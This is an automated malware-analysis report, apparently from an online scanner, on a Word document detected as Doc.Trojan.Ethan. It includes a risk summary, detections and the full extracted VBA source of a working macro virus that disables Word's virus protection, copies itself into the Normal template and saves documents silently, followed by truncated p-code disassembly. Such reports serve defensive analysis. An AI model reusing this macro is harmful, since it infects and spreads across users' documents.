MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample contains VBA macros that attempt to disable macro security warnings and write the macro code to a file named '_._' on the C drive. It also attempts to insert a picture from 'C:\Windows\System\x.x'. This behavior suggests an attempt to establish persistence or download and execute a second-stage payload. The ClamAV detections further confirm its malicious nature.
Heuristics 2
-
ClamAV: Doc.Trojan.Ethan-20 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Ethan-20
-
VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6206 bytes |
SHA-256: 3dfd07864bc6fb63783c7881d70e931c5ea0e0e85c87f83975b3dc02ca44fff0 |
|||
|
Detection
ClamAV:
Doc.Trojan.Ethan-14
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If Dir("c:\_._") = "" Then
Open "c:\_._" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
Print #1, a
Next i
Close #1
End If
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else: t = ""
End If
If t <> "" Then
Open "c:\_._" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
t.CodeModule.InsertLines i, a
i = i + 1
Loop
q:
Close #1
ActiveDocument.Shapes.AddPicture Anchor:=Selection.Range, FileName:="C:\Windows\System\x.x", LinkToFile:=False, SaveWithDocument:=True
If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If Dir("c:\_._") <> "" Then
Kill "c:\_._"
End If
If ActiveDocument.Saved <> s Then
ActiveDocument.Saved = s
End If
End Sub
Private Sub Document_New()
End Sub
' Processing file: /opt/analyzer/scan_staging/064b52884ebe4952a13f4ff81b648c9a.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3419 bytes
' Line #0:
' FuncDefn (Private Sub Document_Close())
' Line #1:
' Line #2:
' OnError (Resume Next)
' Line #3:
' Line #4:
' Ld ActiveDocument
' MemLd Saved
' St s
' Line #5:
' Line #6:
' LitDI2 0x0001
' UMi
' Not
' Ld Application
' MemSt EnableCancelKey
' Line #7:
' Line #8:
' StartWithExpr
' Ld Options
' With
' BoS 0x0000
' LitDI2 0x0000
' MemStWith ConfirmConversions
' BoS 0x0000
' LitDI2 0x0000
' MemStWith VirusProtection
' BoS 0x0000
' LitDI2 0x0000
' MemStWith SaveNormalPrompt
' BoS 0x0000
' EndWith
' Line #9:
' Line #10:
' LitStr 0x0006 "c:\_._"
' ArgsLd Dir 0x0001
' LitStr 0x0000 ""
' Eq
' IfBlock
' Line #11:
' LitStr 0x0006 "c:\_._"
' LitDI2 0x0001
' Sharp
' LitDefault
' Open (For Output)
' Line #12:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' For
' Line #13:
' Ld i
' LitDI2 0x0001
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St a
' Line #14:
' LitDI2 0x0001
' Sharp
' PrintChan
' Ld a
' PrintItemNL
' Line #15:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #16:
' LitDI2 0x0001
' Sharp
' Close 0x0001
' Line #17:
' EndIfBlock
' Line #18:
' Line #19:
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' LitStr 0x001C "Private Sub Document_Close()"
' Ne
' IfBlock
' Line #20:
' SetStmt
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' Set t
' Line #21:
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' LitStr 0x001C "Private Sub Document_C
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.